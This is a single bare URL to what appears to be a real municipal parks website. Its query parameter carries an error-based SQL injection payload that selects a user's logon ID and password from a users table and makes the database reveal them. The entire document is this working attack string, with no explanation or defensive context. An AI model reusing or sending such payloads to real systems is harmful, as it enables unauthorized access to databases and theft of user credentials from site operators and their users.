http://www.minneapolisparks.org/default.asp?PageID=4&parkid=1+or+1=(SELECT+TOP+1+cast(LOGON_ID+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+users+where+USER_ID=2)--